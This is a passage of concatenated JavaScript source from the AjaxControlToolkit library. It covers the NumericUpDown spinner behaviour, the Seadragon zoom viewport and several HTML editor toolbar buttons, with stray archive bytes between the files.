//        td.addProperty('MinimumWidth', Number);
//        td.addProperty('MinimumHeight', Number);
//        td.addProperty('MaximumWidth', Number);
//        td.addProperty('MaximumHeight', Number);
//        td.addProperty('Size', Object);
//        td.addEvent('onresize');
//        td.addEvent('onresizing');
//        return td;
//    },
�^// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.NumericUpDownBehavior = function(element) {
    /// <summary>
    /// The NumericUpDownBehavior is used add up/down buttons to any textbox
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM Element the behavior is associated with
    /// </param>
    AjaxControlToolkit.NumericUpDownBehavior.initializeBase(this, [element]);

    // Properties
    this._currentValue = null;
    this._widthValue = null;
    this._targetButtonUpIDValue = null;
    this._targetButtonDownIDValue = null;
    this._serviceUpPathValue = null;
    this._serviceUpMethodValue = null;
    this._serviceDownPathValue = null;
    this._serviceDownMethodValue = null;
    this._refValuesValue = null;
    this._tagValue = null;
    this._elementTextBox = null;
    this._step = 1.0;
    this._min = -Number.MAX_VALUE;
    this._max = Number.MAX_VALUE;

    // Variables
    this._bUp = null;
    this._bDown = null;
    this._stepPrecision = 0;
    this._valuePrecision = 0;

    // Delegates
    this._clickUpHandler = null;
    this._clickDownHandler = null;
    this._changeHandler = null;
}
AjaxControlToolkit.NumericUpDownBehavior.prototype = {
    initialize: function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.NumericUpDownBehavior.callBaseMethod(this, 'initialize');
        $common.prepareHiddenElementForATDeviceUpdate();

        var e = this.get_element();
        this._elementTextBox = e;
        if ((this._refValuesValue) || (this._serviceUpMethodValue) || (this._serviceDownMethodValue)) {
            this._elementTextBox.readOnly = true;
        } else {
            this._elementTextBox.readOnly = false;
        }
        //Init TextBox
        this.readValue();

        //Add Event
        this._changeHandler = Function.createDelegate(this, this._onChange);
        $addHandler(e, 'blur', this._changeHandler);

        //If no button design for include them
        if ((this._targetButtonUpIDValue == '') || (this._targetButtonDownIDValue == '')) {
            //Change Style TextBox
            this._widthValue = Math.max(this._widthValue, 24);
            e.style.width = (this._widthValue - 24) + 'px';
            e.style.textAlign = 'center';

            //Create a new parent for TextBox
            var _divContent = document.createElement('DIV');
            _divContent.style.position = 'relative';
            _divContent.style.width = this._widthValue + 'px';
            _divContent.style.fontSize = e.clientHeight + 'px';
            _divContent.style.height = e.clientHeight + 'px';
            _divContent.style.paddingRight = '24px';
            if (!(Sys.Browser.agent == Sys.Browser.Firefox || Sys.Browser.agent == Sys.Browser.Safari)) {
                _divContent.style.display = 'inline';
            } else {
                _divContent.style.display = 'inline-block';
            }
            e.parentNode.insertBefore(_divContent, e);

            var _innerTable = document.createElement('TABLE');
            var _innerTbody = document.createElement('TBODY');
            var _innerRow1 = document.createElement('TR');
            var _innerRow2 = document.createElement('TR');
            var _textboxCell = document.createElement('TD');
            var _upButtonCell = document.createElement('TD');
            var _downButtonCell = document.createElement('TD');

            _textboxCell.rowSpan = '2';

            _textboxCell.style.verticalAlign = 'middle';
            _upButtonCell.style.verticalAlign = 'middle';
            _downButtonCell.style.verticalAlign = 'middle';

            _innerRow1.appendChild(_textboxCell);
            _innerRow1.appendChild(_upButtonCell);
            _innerRow2.appendChild(_downButtonCell);
            _innerTbody.appendChild(_innerRow1);
            _innerTbody.appendChild(_innerRow2);
            _innerTable.appendChild(_innerTbody);
            _divContent.appendChild(_innerTable);

            e.parentNode.removeChild(e);
            _textboxCell.appendChild(e);

            _innerTable.style.borderCollapse = 'collapse';
            _innerTable.cellSpacing = '0';
            _innerTable.cellPadding = '0';

            _innerTable.style.display = 'inline';
            _innerTable.style.position = 'relative';

            _textboxCell.style.padding = '0';
            _upButtonCell.style.padding = '0';
            _downButtonCell.style.padding = '0';
            _textboxCell.style.margin = '0';
            _upButtonCell.style.margin = '0';
            _downButtonCell.style.margin = '0';
        }


        //If no Up button create it
        if (this._targetButtonUpIDValue == '') {
            this._bUp = document.createElement('input');
            this._bUp.type = 'button';
            this._bUp.id = e.id + '_bUp';
            this._bUp.style.border = 'outset 1px';
            if (Sys.Browser.agent == Sys.Browser.InternetExplorer) {
                this._bUp.style.fontFamily = 'Webdings';
                this._bUp.style.fontSize = '9pt';
                this._bUp.value = '5';
            } else {
                this._bUp.style.fontFamily = 'Tahoma, Arial, sans-serif';
                this._bUp.style.fontSize = '5pt';
                this._bUp.value = '\u25B2';
                this._bUp.style.fontWeight = 'bold';
                this._bUp.style.lineHeight = '3pt';
            }
            this._bUp.style.height = '12px';
            this._bUp.style.width = '24px';
            this._bUp.style.overflow = 'hidden';
            this._bUp.style.lineHeight = '1em';
            _upButtonCell.appendChild(this._bUp);
        }

        //If no Down button create it
        if (this._targetButtonDownIDValue == '') {
            this._bDown = document.createElement('input');
            this._bDown.type = 'button';
            this._bDown.id = e.id + '_bDown';
            this._bDown.style.border = 'outset 1px';
            if (Sys.Browser.agent == Sys.Browser.InternetExplorer) {
                this._bDown.value = '6';
                this._bDown.style.fontFamily = 'Webdings';
                this._bDown.style.fontSize = '9pt';
            } else {
                this._bDown.value = '\u25BC';
                this._bDown.style.fontFamily = 'Tahoma, Arial, sans-serif';
                this._bDown.style.fontSize = '5pt';
                this._bDown.style.fontWeight = 'bold';
            }
            this._bDown.style.height = '12px';
            this._bDown.style.lineHeight = '3pt';
            this._bDown.style.width = '24px';
            this._bDown.style.overflow = 'hidden';
            _downButtonCell.appendChild(this._bDown);
        }

        //Add button Up Down Event
        if (this._bUp == null) {
            this._bUp = document.getElementById(this._targetButtonUpIDValue);
        }
        if (this._bUp) {
            this._clickUpHandler = Function.createDelegate(this, this._clickUp);
            $addHandler(this._bUp, 'click', this._clickUpHandler);
        }
        if (this._bDown == null) {
            this._bDown = document.getElementById(this._targetButtonDownIDValue);
        }
        if (this._bDown) {
            this._clickDownHandler = Function.createDelegate(this, this._clickDown);
            $addHandler(this._bDown, 'click', this._clickDownHandler);
        }
    },

    dispose: function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>

        if (this._changeHandler) {
            $removeHandler(this.get_element(), 'blur', this._changeHandler);
            this._changeHandler = null;
        }

        if (this._clickUpHandler) {
            if (this._bUp) {
                $removeHandler(this._bUp, 'click', this._clickUpHandler);
                this._clickUpHandler = null;
            }
        }

        if (this._clickDownHandler) {
            if (this._bDown) {
                $removeHandler(this._bDown, 'click', this._clickDownHandler);
                this._clickDownHandler = null;
            }
        }

        AjaxControlToolkit.NumericUpDownBehavior.callBaseMethod(this, 'dispose');
    },

    add_currentChanged: function(handler) {
        /// <summary>
        /// Add a handler to the currentChanged event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().addHandler('currentChanged', handler);
    },
    remove_currentChanged: function(handler) {
        /// <summary>
        /// Remove a handler from the currentChanged event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        this.get_events().removeHandler('currentChanged', handler);
    },
    raiseCurrentChanged: function(eventArgs) {
        /// <summary>
        /// Raise the currentChanged event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs">
        /// Event arguments
        /// </param>
        var handler = this.get_events().getHandler('currentChanged');
        if (handler) {
            if (!eventArgs) {
                eventArgs = Sys.EventArgs.Empty;
            }
            handler(this, eventArgs);
        }
    },

    _onChange: function() {
        /// <summary>
        /// Handler for the textbox's change event
        /// </summary>

        this.readValue();

        if (this._refValuesValue) {
            this.setCurrentToTextBox(this._refValuesValue[this._currentValue]);
            if (this._elementTextBox) {
                this._elementTextBox.readOnly = true;
            }
        } else {
            this.setCurrentToTextBox(this._currentValue);
            if (this._elementTextBox) {
                // Make the textbox readonly if its results come from a webservice
                this._elementTextBox.readOnly = this._serviceUpMethodValue || this._serviceDownMethodValue;
            }
        }
    },

    readValue: function() {
        /// <summary>
        /// Parse value of textbox and this._currentValue to be that value.
        /// this._currentValue = this._min if some there is an exception
        /// when attempting to parse.
        /// Parse int or string element of RefValues
        /// </summary>

        if (this._elementTextBox) {
            var v = this._elementTextBox.value;
            // if textbox empty this._currentValue = this._min
            if (!this._refValuesValue) {
                if (!v) {
                    this._currentValue = this._min;
                } else {
                    try {
                        this._currentValue = parseFloat(v);
                    } catch (ex) {
                        this._currentValue = this._min;
                    }
                }
                if (isNaN(this._currentValue)) {
                    this._currentValue = this._min;
                }
                this.setCurrentToTextBox(this._currentValue);
                this._valuePrecision = this._computePrecision(this._currentValue);
            } else {
                if (!v) {
                    this._currentValue = 0;
                } else {
                    var find = 0;
                    for (var i = 0; i < this._refValuesValue.length; i++) {
                        if (v.toLowerCase() == this._refValuesValue[i].toLowerCase()) {
                            find = i;
                        }
                    }
                    this._currentValue = find;
                }
                this.setCurrentToTextBox(this._refValuesValue[this._currentValue]);
            }
        }
    },

    setCurrentToTextBox: function(value) {
        /// <summary>
        /// Set the value of the textbox
        /// </summary>
        /// <param name="value" type="String">
        /// Value
        /// </param>
        if (this._elementTextBox) {
            this._elementTextBox.value = value;
            this.raiseCurrentChanged(value);

            if (document.createEvent) {
                var onchangeEvent = document.createEvent('HTMLEvents');
                onchangeEvent.initEvent('change', true, false);
                this._elementTextBox.dispatchEvent(onchangeEvent);
            } else if (document.createEventObject) {
                this._elementTextBox.fireEvent('onchange');
            }
        }
    },

    _incrementValue: function(step) {
        /// <summary>
        /// Increment the current value by the given amount
        /// </summary>
        /// <param name="step" type="Number">
        /// Amount to increment (or decrement if negative) the current value
        /// </param>
        /// <returns />

        // Use toFixed/parseFloat to prevent quantization when incrementing
        var tmp = parseFloat((this._currentValue + step).toFixed(Math.max(this._stepPrecision, this._valuePrecision)));
        if (step > 0) {
            this._currentValue = Math.max(Math.min(tmp, this._max), this._min);
        } else {
            this._currentValue = Math.min(Math.max(tmp, this._min), this._max);
        }
    },

    _computePrecision: function(value) {
        /// <summary>
        /// Compute the precision of the value by counting the number
        /// of digits in the fractional part of its string representation
        /// </summary>
        /// <param name="value" type="Number">Value</param>
        /// <returns type="Number" integer="true">
        /// Fractional precision of the number
        /// </returns>

        if (value == Number.Nan) {
            return this._min;
        }

        // Call toString which does not localize, according to ECMA 262
        var str = value.toString();
        if (str) {
            var fractionalPart = /\.(\d*)$/;
            var matches = str.match(fractionalPart);
            if (matches && matches.length == 2 && matches[1]) {
                return matches[1].length;
            }
        }

        return this._min;
    },

    get_Width: function() {
        /// <value type="Number" integer="true">
        /// Combined size of the TextBox and Up/Down buttons (min value 25).
        /// This property is not used if you provide custom buttons.
        /// </value>
        return this._widthValue;
    },
    set_Width: function(value) {
        if (this._widthValue != value) {
            this._widthValue = value;
            this.raisePropertyChanged('Width');
        }
    },

    get_Tag: function() {
        /// <value type="String">
        /// Specifies a custom parameter to pass to the Web Service
        /// </value>
        return this._tagValue;
    },
    set_Tag: function(value) {
        if (this._tagValue != value) {
            this._tagValue = value;
            this.raisePropertyChanged('Tag');
        }
    },

    get_TargetButtonUpID: function() {
        /// <value type="String">
        /// Reference to a custom Up button
        /// </value>
        return this._targetButtonUpIDValue;
    },
    set_TargetButtonUpID: function(value) {
        if (this._targetButtonUpIDValue != value) {
            this._targetButtonUpIDValue = value;
            this.raisePropertyChanged('TargetButtonUpID');
        }
    },

    get_TargetButtonDownID: function() {
        /// <value type="String">
        /// Reference to a custom Down button
        /// </value>
        return this._targetButtonDownIDValue;
    },
    set_TargetButtonDownID: function(value) {
        if (this._targetButtonDownIDValue != value) {
            this._targetButtonDownIDValue = value;
            this.raisePropertyChanged('TargetButtonDownID');
        }
    },

    get_ServiceUpPath: function() {
        /// <value type="String">
        /// Path to a web service that returns the data used to get the next value.
        /// If empty, a PageMethod will be used instead of a web service.
        /// </value>
        return this._serviceUpPathValue;
    },
    set_ServiceUpPath: function(value) {
        if (this._serviceUpPathValue != value) {
            this._serviceUpPathValue = value;
            this.raisePropertyChanged('ServiceUpPath');
        }
    },

    get_ServiceUpMethod: function() {
        /// <value type="String">
        /// Name of the method to call on the web service (or the name of a PageMethod) to get the next value
        /// </value>
        /// <remarks>
        /// The signature of the web method must be of the form:
        ///     [WebMethod]
        ///     public int MethodName(int current, string tag)
        ///     {
        ///         ...
        ///     }
        /// </remarks>
        return this._serviceUpMethodValue;
    },
    set_ServiceUpMethod: function(value) {
        if (this._serviceUpMethodValue != value) {
            this._serviceUpMethodValue = value;
            this.raisePropertyChanged('ServiceUpMethod');
            if (this._elementTextBox)
                this._elementTextBox.readOnly = true;
        }
    },

    get_ServiceDownPath: function() {
        /// <value type="String">
        /// Path to a web service that returns the data used to get the previous value.
        /// If empty, a PageMethod will be used instead of a web service.
        /// </value>
        return this._serviceDownPathValue;
    },
    set_ServiceDownPath: function(value) {
        if (this._serviceDownPathValue != value) {
            this._serviceDownPathValue = value;
            this.raisePropertyChanged('ServiceDownPath');
        }
    },

    get_ServiceDownMethod: function() {
        /// <value type="String">
        /// Name of the method to call on the web service (or the name of a PageMethod) to get the previous value
        /// </value>
        /// <remarks>
        /// The signature of the web method must be of the form:
        ///     [WebMethod]
        ///     public int MethodName(int current, string tag)
        ///     {
        ///         ...
        ///     }
        /// </remarks>
        return this._serviceDownMethodValue;
    },
    set_ServiceDownMethod: function(value) {
        if (this._serviceDownMethodValue != value) {
            this._serviceDownMethodValue = value;
            this.raisePropertyChanged('ServiceDownMethod');
            if (this._elementTextBox)
                this._elementTextBox.readOnly = true;
        }
    },

    get_RefValues: function() {
        /// <value type="String">
        /// A list of strings separated by semicolons (;) to be used as an enumeration
        /// </value>
        return this._refValuesValue ? this._refValuesValue.join(";") : "";
    },
    set_RefValues: function(value) {
        if (value != '') {
            this._refValuesValue = value.split(';');
            this._onChange();
            if (this._elementTextBox) {
                this._elementTextBox.readOnly = true;
            }
        } else {
            this._refValuesValue = null;
            if (this._elementTextBox) {
                this._elementTextBox.readOnly = false;
            }
        }
        this.raisePropertyChanged('RefValues');
    },

    get_Step: function() {
        /// <value type="Number">
        /// Step used for simple numeric incrementing and decrementing
        /// </value>
        return this._step;
    },
    set_Step: function(value) {
        if (value != this._step) {
            this._step = value;
            this._stepPrecision = this._computePrecision(value);
            this.raisePropertyChanged('Step');
        }
    },

    get_Minimum: function() {
        /// <value type="Number">
        /// Minimum Value
        /// </value>
        return this._min;
    },
    set_Minimum: function(value) {
        if (value != this._min) {
            this._min = value;
            this.raisePropertyChanged('Minimum');
        }
    },

    get_Maximum: function() {
        /// <value type="Number">
        /// Maximum Value
        /// </value>
        return this._max;
    },
    set_Maximum: function(value) {
        if (value != this._max) {
            this._max = value;
            this.raisePropertyChanged('Maximum');
        }
    },

    _clickUp: function(evt) {
        /// <summary>
        /// Handler for the Up button's click event
        /// </summary>
        /// <param name="evt" type="Sys.UI.DomEvent" mayBeNull="true" >
        /// Event info
        /// </param>

        this.readValue();
        //Proxy WebService
        if (this._serviceUpPathValue && this._serviceUpMethodValue) {
            // Call the helper web service
            Sys.Net.WebServiceProxy.invoke(this._serviceUpPathValue, this._serviceUpMethodValue, false,
                { current: this._currentValue, tag: this._tagValue },
                Function.createDelegate(this, this._onMethodUpDownComplete));
            $common.updateFormToRefreshATDeviceBuffer();
        } else {
            //Else increment one element on _refValues or juste this._currentValue++
            if (this._refValuesValue) {
                if ((this._currentValue + 1) < this._refValuesValue.length) {
                    this._currentValue = this._currentValue + 1;
                    this.setCurrentToTextBox(this._refValuesValue[this._currentValue]);
                }
            } else {
                this._incrementValue(this._step);
                this.setCurrentToTextBox(this._currentValue);
            }
        }
        if (evt) {
            evt.preventDefault();
        }
        return false;
    },

    _clickDown: function(evt) {
        /// <summary>
        /// Handler for the Down button's click event
        /// </summary>
        /// <param name="evt" type="Sys.UI.DomEvent" mayBeNull="true">
        /// Event info
        /// </param>

        this.readValue();
        //Proxy WebService
        if (this._serviceDownPathValue && this._serviceDownMethodValue) {
            // Call the helper web service
            Sys.Net.WebServiceProxy.invoke(this._serviceDownPathValue, this._serviceDownMethodValue, false,
                { current: this._currentValue, tag: this._tagValue },
                Function.createDelegate(this, this._onMethodUpDownComplete));
            $common.updateFormToRefreshATDeviceBuffer();
        } else {
            //Else decrement one element on _refValues or juste this._currentValue--
            if (this._refValuesValue) {
                if ((this._currentValue - 1) >= 0) {
                    this._currentValue = this._currentValue - 1;
                    this.setCurrentToTextBox(this._refValuesValue[this._currentValue]);
                }
            } else {
                this._incrementValue(-this._step);
                this.setCurrentToTextBox(this._currentValue);
            }
        }
        if (evt) {
            evt.preventDefault();
        }
        return false;
    },

    //Call BackWebServices
    _onMethodUpDownComplete: function(result, userContext, methodName) {
        this._currentValue = result;
        this.setCurrentToTextBox(this._currentValue);
    }
}
AjaxControlToolkit.NumericUpDownBehavior.registerClass('AjaxControlToolkit.NumericUpDownBehavior', AjaxControlToolkit.BehaviorBase);
�Type.registerNamespace("AjaxControlToolkit.Seadragon");AjaxControlToolkit.Seadragon.Viewport=function(c,b,d){var a=this;a.zoomPoint=null;a.config=d;a._containerSize=c;a._contentSize=b;a._contentAspect=b.x/b.y;a._contentHeight=b.y/b.x;a._centerSpringX=new Seadragon.Spring(0,a.config);a._centerSpringY=new Seadragon.Spring(0,a.config);a._zoomSpring=new Seadragon.Spring(1,a.config);a._homeBounds=new AjaxControlToolkit.Seadragon.Rect(0,0,1,a._contentHeight);a.goHome(true);a.update()};AjaxControlToolkit.Seadragon.Viewport.prototype={_getHomeZoom:function(){var a=this._contentAspect/this.getAspectRatio();return a>=1?1:a},_getMinZoom:function(){var a=this,b=a._getHomeZoom();if(a.config.minZoomDimension)var c=a._contentSize.x<=a._contentSize.y?a.config.minZoomDimension/a._containerSize.x:a.config.minZoomDimension/(a._containerSize.x*a._contentHeight);else var c=a.config.minZoomImageRatio*b;return Math.min(c,b)},_getMaxZoom:function(){var a=this,b=a._contentSize.x*a.config.maxZoomPixelRatio/a._containerSize.x;return Math.max(b,a._getHomeZoom())},getAspectRatio:function(){return this._containerSize.x/this._containerSize.y},getContainerSize:function(){return new AjaxControlToolkit.Seadragon.Point(this._containerSize.x,this._containerSize.y)},getBounds:function(b){var c=this.getCenter(b),a=1/this.getZoom(b),d=a/this.getAspectRatio();return new AjaxControlToolkit.Seadragon.Rect(c.x-a/2,c.y-d/2,a,d)},getCenter:function(l){var a=this,b=new AjaxControlToolkit.Seadragon.Point(a._centerSpringX.getCurrent(),a._centerSpringY.getCurrent()),d=new AjaxControlToolkit.Seadragon.Point(a._centerSpringX.getTarget(),a._centerSpringY.getTarget());if(l)return b;else if(!a.zoomPoint)return d;var k=a.pixelFromPoint(a.zoomPoint,true),g=a.getZoom(),c=1/g,f=c/a.getAspectRatio(),e=new AjaxControlToolkit.Seadragon.Rect(b.x-c/2,b.y-f/2,c,f),j=a.zoomPoint.minus(e.getTopLeft()).times(a._containerSize.x/e.width),h=j.minus(k),i=h.divide(a._containerSize.x*g);return d.plus(i)},getZoom:function(a){if(a)return this._zoomSpring.getCurrent();else return this._zoomSpring.getTarget()},applyConstraints:function(i){var b=this,j=b.getZoom(),g=Math.max(Math.min(j,b._getMaxZoom()),b._getMinZoom());j!=g&&b.zoomTo(g,b.zoomPoint,i);var a=b.getBounds(),h=b.config.visibilityRatio,c=h*a.width,d=h*a.height,m=a.x+a.width,l=1-a.x,n=a.y+a.height,k=b._contentHeight-a.y,e=0;if(!b.config.wrapHorizontal)if(m<c)e=c-m;else if(l<c)e=l-c;var f=0;if(!b.config.wrapVertical)if(n<d)f=d-n;else if(k<d)f=k-d;if(e||f){a.x+=e;a.y+=f;b.fitBounds(a,i)}},ensureVisible:function(a){this.applyConstraints(a)},fitBounds:function(c,h){var d=true,a=this,f=a.getAspectRatio(),g=c.getCenter(),b=new AjaxControlToolkit.Seadragon.Rect(c.x,c.y,c.width,c.height);if(b.getAspectRatio()>=f){b.height=c.width/f;b.y=g.y-b.height/2}else{b.width=c.height*f;b.x=g.x-b.width/2}a.panTo(a.getCenter(d),d);a.zoomTo(a.getZoom(d),null,d);var e=a.getBounds(),k=a.getZoom(),i=1/b.width;if(i==k||b.width==e.width){a.panTo(g,h);return}var j=e.getTopLeft().times(a._containerSize.x/e.width).minus(b.getTopLeft().times(a._containerSize.x/b.width)).divide(a._containerSize.x/e.width-a._containerSize.x/b.width);a.zoomTo(i,j,h)},goHome:function(c){var a=this,b=a.getCenter();if(a.config.wrapHorizontal){b.x=(1+b.x%1)%1;a._centerSpringX.resetTo(b.x);a._centerSpringX.update()}if(a.config.wrapVertical){b.y=(a._contentHeight+b.y%a._contentHeight)%a._contentHeight;a._centerSpringY.resetTo(b.y);a._centerSpringY.update()}a.fitBounds(a._homeBounds,c)},panBy:function(c,a){var b=new AjaxControlToolkit.Seadragon.Point(this._centerSpringX.getTarget(),this._centerSpringY.getTarget());this.panTo(b.plus(c),a)},panTo:function(a,c){var b=this;if(c){b._centerSpringX.resetTo(a.x);b._centerSpringY.resetTo(a.y)}else{b._centerSpringX.springTo(a.x);b._centerSpringY.springTo(a.y)}},zoomBy:function(c,b,a){this.zoomTo(this._zoomSpring.getTarget()*c,b,a)},zoomTo:function(b,a,c){if(c)this._zoomSpring.resetTo(b);else this._zoomSpring.springTo(b);this.zoomPoint=a instanceof AjaxControlToolkit.Seadragon.Point?a:null},resize:function(c,f){var a=this,d=a.getBounds(),b=d,e=c.x/a._containerSize.x;a._containerSize=new AjaxControlToolkit.Seadragon.Point(c.x,c.y);if(f){b.width=d.width*e;b.height=b.width/a.getAspectRatio()}a.fitBounds(b,true)},update:function(){var a=this,g=a._centerSpringX.getCurrent(),h=a._centerSpringY.getCurrent(),c=a._zoomSpring.getCurrent();if(a.zoomPoint)var f=a.pixelFromPoint(a.zoomPoint,true);a._zoomSpring.update();if(a.zoomPoint&&a._zoomSpring.getCurrent()!=c){var e=a.pixelFromPoint(a.zoomPoint,true),d=e.minus(f),b=a.deltaPointsFromPixels(d,true);a._centerSpringX.shiftBy(b.x);a._centerSpringY.shiftBy(b.y)}else a.zoomPoint=null;a._centerSpringX.update();a._centerSpringY.update();return a._centerSpringX.getCurrent()!=g||a._centerSpringY.getCurrent()!=h||a._zoomSpring.getCurrent()!=c},deltaPixelsFromPoints:function(a,b){return a.times(this._containerSize.x*this.getZoom(b))},deltaPointsFromPixels:function(a,b){return a.divide(this._containerSize.x*this.getZoom(b))},pixelFromPoint:function(c,b){var a=this.getBounds(b);return c.minus(a.getTopLeft()).times(this._containerSize.x/a.width)},pointFromPixel:function(c,b){var a=this.getBounds(b);return c.divide(this._containerSize.x/a.width).plus(a.getTopLeft())}};AjaxControlToolkit.Seadragon.Viewport.registerClass("AjaxControlToolkit.Seadragon.Viewport",null,Sys.IDisposable);oType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.callBaseMethod(this,"callMethod"))return false;var b=this._designPanel,d=b._getSelection(),e=b._createRange(d),a=AjaxControlToolkit.HTMLEditor.getSelParent(b);if(a.nodeType==3)a=a.parentNode;while(a&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A")a=a.parentNode;if(a&&a.tagName.toUpperCase()=="A"){b._saveContent();var c=a.firstChild;while(a.firstChild)a.parentNode.insertBefore(a.firstChild,a);a.parentNode.removeChild(a);c&&AjaxControlToolkit.HTMLEditor._setCursor(c,b);setTimeout(function(){b._editPanel.updateToolbar()},0);b.onContentChanged()}}};AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.prototype={initialize:function(){AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.callBaseMethod(this,"initialize")},callMethod:function(a){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.callBaseMethod(this,"callMethod"))return false;try{var b=this._designPanel;b._execCommand("fontname",false,a.options.item(a.selectedIndex).value)}catch(d){}},checkState:function(){var e=this;if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.callBaseMethod(e,"checkState"))return false;var f=e._designPanel,a=null;try{a=Function.createDelegate(f,AjaxControlToolkit.HTMLEditor._queryCommandValue)("fontname")}catch(i){}if(!f._FontNotSet)if(!a||a.length==0)a=AjaxControlToolkit.HTMLEditor.getStyle(f._doc.body,"font-family");var c=e._select,b=0;if(a&&a.length>0){var g=a.toLowerCase().split(",")[0].replace(/^(['"])/,"").replace(/(['"])$/,"");for(b=0;b<c.options.length;b++){var h=c.options.item(b).value.toLowerCase().split(",")[0];if(h==g)break}if(b==c.options.length)try{var d=document.createElement("OPTION");d.value=a.replace(/^(['"])/,"").replace(/(['"])$/,"");d.text=a.split(",")[0].replace(/^(['"])/,"").replace(/(['"])$/,"");c.add(d,AjaxControlToolkit.HTMLEditor.isIE?b:null);$addHandler(d,"click",e._onclick_option$delegate)}catch(i){b=0}}c.selectedIndex=b}};AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton);iType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton=function(b){var a=this;AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.initializeBase(a,[b]);a._loaded=false;a._preservePlace=false;a._editPanel=null;a._activeModes=null;a._app_onload$delegate=Function.createDelegate(a,a._app_onload);a._cssClass="";a._onmouseover$delegate=Function.createDelegate(a,a._onmouseover);a._onmouseout$delegate=Function.createDelegate(a,a._onmouseout);a._onmousedown$delegate=Function.createDelegate(a,a._onmousedown);a._onmouseup$delegate=Function.createDelegate(a,a._onmouseup);a._onclick$delegate=Function.createDelegate(a,a._onclick)};AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.prototype={get_preservePlace:function(){return this._preservePlace},set_preservePlace:function(a){this._preservePlace=a},set_activeEditPanel:function(b){var a=this;a._editPanel=b;if(a._editPanel==null)a.hideButton();else if(a.isAllowedActiveMode(a._editPanel.get_activeMode())&&a.canBeShown()){a.showButton();a.onEditPanelActivity()}else a.hideButton()},isImage:function(){return true},checkRangeInDesign:function(){var a=this;if(typeof a._designPanel=="undefined")return false;if(a._designPanel==null)return false;if(a._designPanel.isPopup())return false;var b=AjaxControlToolkit.HTMLEditor.getSelParent(a._designPanel);if(b.nodeType==3)b=b.parentNode;return b.ownerDocument==a._designPanel._doc},get_buttonName:function(){var a=Object.getType(this).getName();a=a.substring(a.lastIndexOf(".")+1);return a},get_message:function(messageName){var expression="AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_"+this.get_buttonName()+"_message_"+messageName;return eval(expression)},isDisplayed:function(){var a=this.get_element();if(a){var b=a.style;return b.display!="none"&&b.visibility!="hidden"}else return false},hideButton:function(){var a=this.get_element();if(a)if(!this._preservePlace)a.style.display="none";else a.style.visibility="hidden"},showButton:function(){var a=this.get_element();if(a){if(a.style.display=="none")a.style.display="";if(this._preservePlace)a.style.visibility="visible"}},canBeShown:function(){return true},onEditPanelActivity:function(){},get_activeModes:function(){if(this._activeModes==null)this._activeModes=[];return this._activeModes},set_activeModes:function(a){this.get_activeModes().push(a)},get_activeModesIds:function(){},set_activeModesIds:function(c){for(var b=c.split(";"),a=0;a<b.length;a++)this.set_activeModes(parseInt(b[a]))},set_toolTip:function(a){this.get_element().title=a},get_toolTip:function(){return this.get_element().title},isAllowedActiveMode:function(b){for(var a=0;a<this.get_activeModes().length;a++)if(this.get_activeModes()[a]==b)return true;return false},initialize:function(){var c="none",a=this;AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton.callBaseMethod(a,"initialize");Sys.Application.add_load(a._app_onload$delegate);var b=a.get_element();if(a._preservePlace&&!a.canBeShown())b.style.display=c;a._cssClass=b.className;a.isImage()&&$addHandlers(b,{mouseover:a._onmouseover$delegate,mouseout:a._onmouseout$delegate,mousedown:a._onmousedown$delegate,mouseup:a._onmouseup$delegate,click:a._onclick$delegate});if(AjaxControlToolkit.HTMLEditor.isIE){function d(a){if(a.nodeType==1&&a.tagName){var b=a.tagName.toUpperCase();if(b!="INPUT"&&b!="TEXTAREA"&&b!="IFRAME")a.unselectable="on";for(var c=0;c<a.childNodes.length;c++)d(a.childNodes.item(c))}}d(b)}else try{b.style.MozUserSelect=c;b.parentNode.style.MozUserSelect=c}catch(e){}},dispose:function(){var 